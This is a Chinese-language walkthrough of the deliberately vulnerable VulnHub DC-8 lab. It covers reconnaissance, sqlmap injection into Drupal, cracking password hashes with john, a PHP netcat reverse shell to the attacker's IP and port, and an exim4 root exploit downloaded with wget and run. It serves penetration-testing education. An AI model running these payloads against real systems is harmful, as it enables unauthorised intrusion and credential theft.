vulnhub靶场之DC-8

一.环境搭建

1.靶场描述

DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
 

只有一个flag

2.靶场下载地址

https://www.vulnhub.com/entry/dc-8,367/
 

3.启动靶场环境

image-20240108150812317

虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24

二.渗透靶场

1.目标

目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24

2.信息收集

(1)寻找靶场真实ip

nmap -sP 192.168.52.0/24
 

image-20240108151209992

arp-scan -l
 

image-20240108151227780

靶场的真实ip地址是192.168.52.130

(2)探测端口及服务

nmap -A -v -p- 192.168.52.130
 

image-20240108151537395

发现开放了80端口,存在web服务,Apache httpd 
发现开放了22端口,OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
 

也可以使用masscan进行探测

masscan --rate=10000 --ports 0-65535 192.168.52.130
 

image-20240108151820252

(3)web指纹识别

whatweb -v 192.168.52.130
 

image-20240108151946306

3.渗透测试

(1)访问web服务

http://192.168.52.130
 

image-20240108152136730

可以看到和DC-7是一个cms框架

(2)扫描web服务

1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.130
 

image-20240108152443953

使用棱洞3.0指纹识别发现有Drupal

2)nikto扫描网站结构
nikto -h http://192.168.52.130
 

image-20240108152754770

使用nikto工具扫描网站结构,发现robots.txt

3)dirsearch目录扫描
dirsearch -u 192.168.52.130 -e * -x 403 --random-agent
 

image-20240108154220729

(3)渗透测试

1)首先我们查看Drupal漏洞
http://192.168.52.130/CHANGELOG.txt
 

image-20240108154527249

我们知道版本号是7.67,使用kali进行搜索,但是没有漏洞

searchsploit Drupal 7.67
 

image-20240108154658702

2)我们访问robots.txt
http://192.168.52.130/robots.txt
 

image-20240108154843180

可以看到是一些登录页面

http://192.168.52.130/?q=user/login/
 

image-20240108155159531

这个我们先放一放,看能不能有漏洞进行爆破用户名和密码

3)我们访问目录扫描

除了/user/login/ ,node以外,其他的都没有用

我们查看node,我们可以看到3行蓝色的字,我们一个一个进行访问,最后发现这里就只加了参数nid,非常可疑,可能存在有SQL注入、xss等漏洞

http://192.168.52.130/node
 

image-20240108160045654

4)SQL注入

在nid参数后面加’

image-20240108160215495

我们可以看到报错了,可能存在报错注入,我们使用sqlmap进行测试

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch 
 

image-20240108161257221

我们可以看到存在报错注入

我们爆破数据库

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch --dbs
 

image-20240108161422185

有2个数据库,我们爆破d7db数据库

爆表

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch -D 'd7db' --tables
 

image-20240108161725103

image-20240108161744261

我们可以看到有很多的表,我们爆破users即可

接着爆字段名

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch -D 'd7db' -T 'users' --columns
 

image-20240108162219193

我们可以看到name和pass,我们想到前面的登录页面,我们进行爆破即可

sqlmap -u 'http://192.168.52.130/?nid=1' --level=5 --risk=3 --batch -D 'd7db' -T 'users' -C 'name,pass' --dump
 

image-20240108162259708

image-20240108162317263

我们看到2个用户名和密码,但是密码是加密的,我们进行解密

5)john解密
john password.txt
 

image-20240108162809678

爆破出来一个密码是turtle

6)登录页面

我们进行登录页面,john turtle,看到登录成功

image-20240108163009138

7)反弹shell

探索发现在WEBFORM处可以编辑并执行PHP代码

http://192.168.52.130/#overlay=node/3/webform/configure
 

image-20240108163501544

我们输入反弹shell

<?php
exec("nc -e /bin/bash 192.168.52.152 55555");
?>
 

image-20240108164047374

将提交重定向行Confirmation page(确认页面)给勾上,然后滑下点保存,联系随便填入联系表单,点击发送,触发PHP代码

image-20240108164306558

我们可以看到反弹成功

8)提权

我们打开交互模式

python -c 'import pty;pty.spawn("/bin/bash")'
 

image-20240108164840324

找查一下suid权限的二进制文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null 
 

image-20240108164902251

发现存在exim4,我们进行提权

我们查看exim4版本号

exim4 --version
 

image-20240108165444742

我们使用kali进行搜索

searchsploit exim 4

image-20240108203835984

复制一下文件

cp /usr/share/exploitdb/exploits/linux/local/46996.sh MS02423.sh
 

开启http服务

python -m http.server 8888 
 

image-20240108204043654

在DC-7中下载该文件,先跳到tmp目录

cd /tmp
wget 192.168.52.152:8888/MS02423.sh
 

image-20240108204219241

我们查看文件权限

image-20240108204259982

可以看到文件是不可执行的,我们可以用chmod命令赋予执行权限

chmod 777 MS02423.sh
 

image-20240108204408567

我们执行该文件

./MS02423.sh -m netcat
 

image-20240108204630973

可以看到现在是root权限

我们查看flag

image-20240108204708067

三.相关资源

1.靶场下载地址

2.nmap

3.arp-scan

4.masscan

5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解

6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)

7.nikto工具的使用

8.[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

9.实现交互式shell的几种方式

10.dirsearch目录扫描

11.SQL注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/321123.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【含完整代码】Java定时任务之xxl-job[超详细]

前言 个人博客&#xff1a;www.wdcdbd.com 在Java中使用定时任务是一件很常见的事情&#xff0c;比如使用定时任务在什么时间&#xff0c;什么时候&#xff0c;去发布一些信息&#xff0c;或者去查询一些日志等相关的代码。这时&#xff0c;我们就要开发定时任务这中功能来实现…

UNRAID 优盘制作

使用方法和开心方法&#xff1a; 如果重启之后显示器有信号但是黑屏无法正常引导系统&#xff0c;此为九代以后主板快速开机&#xff08;快速引导&#xff09;UNRAID并不支持快速引导所以会直接卡黑屏。所以发现这种情况的时候请进BIOS关闭和开机快速引导或和快有关系的任何开…

LeetCode 589. N 叉树的前序遍历

589. N 叉树的前序遍历 给定一个 n 叉树的根节点 root &#xff0c;返回 其节点值的 前序遍历 。 n 叉树 在输入中按层序遍历进行序列化表示&#xff0c;每组子节点由空值 null 分隔&#xff08;请参见示例&#xff09;。 示例 1&#xff1a; 输入&#xff1a;root [1,nul…

扩散模型(二)——DDIM学习笔记-大白话推导

扩散模型系列&#xff1a; &#xff08;1&#xff09;扩散模型(一)——DDPM推导笔记-大白话推导 &#xff08;2&#xff09;扩散模型(二)——DDIM学习笔记-大白话推导 请提前关注&#xff0c;后续待更新&#xff0c;谢谢… 写在前面&#xff1a; &#xff08;1&#xff09;建议…

leetcode238:除自身以外数组的乘积

文章目录 1.使用除法&#xff08;违背题意&#xff09;2.左右乘积列表3.空间复杂度为O(1)的方法 在leetcode上刷到了这一题&#xff0c;一开始并没有想到好的解题思路&#xff0c;写篇博客再来梳理一下吧。 题目要求&#xff1a; 不使用除法在O(n)时间复杂度内 1.使用除法&am…

vue3 模版语法

模板语法 Vue 使用一种基于 HTML 的模板语法&#xff0c;使我们能够声明式地将其组件实例的数据绑定到呈现的 DOM 上。 文本插值 最基本的数据绑定形式是文本插值&#xff0c;它使用的是“Mustache”语法 (即双大括号)&#xff1a; <span>Message: {{ msg }}</span&…

Netty-Netty实现自己的通信框架

通信框架功能设计 功能描述 通信框架承载了业务内部各模块之间的消息交互和服务调用&#xff0c;它的主要功能如下&#xff1a; 基于 Netty 的 NIO 通信框架&#xff0c;提供高性能的异步通信能力&#xff1b; 提供消息的编解码框架&#xff0c;可以实现 POJO 的序列化和反…

Qt编译OpenCV

1.CMake下载安装 官网地址&#xff1a;CMake - Upgrade Your Software Build System &#xff08;1&#xff09;下载后双击安装 &#xff08;2&#xff09;进入安装界面&#xff0c;点击【Next】 &#xff08;3&#xff09;同意协议&#xff0c;点击【Next】 &#xff08;4&a…

鸿蒙Harmony-线性布局(Row/Column)详解

人生的下半场&#xff0c;做个简单的人&#xff0c;少与人纠缠&#xff0c;多看大自然&#xff0c;在路上见世界&#xff0c;在途中寻自己。往后余生唯愿开心健康&#xff0c;至于其他&#xff0c;随缘就好&#xff01; 目录 一&#xff0c;定义 二&#xff0c;基本概念 三&am…

c++多久会被Python或者新语言取代?

c多久会被Python或者新语言取代&#xff1f; 在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「c的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&am…

使用android studio编译app到自己的手机上运行,却读取不了手机里面的图片

问题描述&#xff1a; 使用android studio编译app到自己的手机上运行&#xff0c;却读取不了手机里面的图片 问题分析&#xff1a; 这个是由于这个app没有申请手机端的 媒体文件访问权限&#xff0c;所以读取不了 解决&#xff1a;&#xff08;我的是Android 10&#xff0c;新版…

深度解析Pytest插件pytest-html

在软件开发中&#xff0c;测试报告是开发者获取测试结果和问题定位的关键工具之一。然而&#xff0c;标准的控制台输出有时难以满足我们对测试报告的需求。幸运的是&#xff0c;Pytest插件 pytest-html 提供了一种简单而强大的方式&#xff0c;可以生成漂亮、可视化的HTML格式测…

Arm LDM和STM的寻址方式

A32指令集中包含多数据传输指令LDM和STM&#xff0c;也就是单条指令可以传输多个寄存器的值与内存交互&#xff0c;这对于数据块传输以及寄存器的压入栈很有帮助。LDM和STM指令可分别用于实现堆栈的pop和push操作。对于堆栈操作&#xff0c;基寄存器通常是堆栈指针(SP)。 LDM和…

录第第五十八天——每日温度,下一个更大元素|

单调栈 栈里的元素保持单调递增或者递减&#xff0c;栈内元素是元素下标。单调栈的本质是空间换时间&#xff0c;因为在遍历的过程中需要用一个栈来记录右边第一个比当前元素高的元素&#xff0c;优点是整个数组只需要遍历一次求一个元素右边第一个更大元素&#xff0c;单调栈…

Unity游戏图形学 Shader结构

shader结构 shader语言 openGL&#xff1a;SLG跨平台 >GLSL&#xff1a;openGL shaderlauguge DX&#xff1a;微软开发&#xff0c;性能很好&#xff0c;但是不能跨平台 >HLSL&#xff1a;high level shader language CG&#xff1a;微软和Nvidia公司联合开发&#xff…

【c++】利用嵌套map创建多层树结构

通常树的深度都大于1&#xff0c;即树有多层&#xff0c;而树结构又可以用c的map容器来实现&#xff0c;所以&#xff0c;本文给出了一种多层树结构的实现思路&#xff0c;同时也给出了相应的c代码。 整体思路概述 首先定义一个节点类Node类&#xff0c;要包括children&#x…

WIndows系统重装、备份与恢复实操问题笔记

一 windows重装 1.1 基本步骤 下载大白菜根据官网使用教程制作启动u盘从MSDN或者微软官网下载Windows镜像根据查询的快捷键进入BIOS系统&#xff0c;设置U盘为第一启动 重装 1.2 Windows 11 激活 微软其实在2023年9月20日的公告中宣布停掉免费升级&#xff0c;数字激活工具…

C++中使用vector保存新建对象中自指指针的问题

问题 在某些场景中&#xff08;例如并查集&#xff09;&#xff0c;我们需要将新建对象中的指针指向对象自己。例如&#xff0c; struct factor {int data;factor* next;factor(int i) : data(i), next(this){} }; 这样的结构体当然没有问题&#xff0c;如果我们想以类似链表…

DolphinScheduler伪集群部署

一.伪集群部署 伪集群部署目的是在单台机器部署 DolphinScheduler 服务&#xff0c;该模式下master、worker、api server、logger server都在同一台机器上。单机版本稳定性较差&#xff0c;官方建议20个以下流程使用。 二.前置需求 &#xff11;、&#xff12;.&#xff10;.…

杨中科 EFCORE 第四部分 命令详解56-61

Migrations 深入研究Migrations 1、使用迁移脚本&#xff0c;可以对当前连接的数据库执行编号更高的迁移&#xff0c;这个操作叫做“向上迁移” (Up)&#xff0c;也可以执行把数据库回退到旧的迁移&#xff0c;这个操作叫“向下迁移(Down&#xff09; 2、除非有特殊需要&…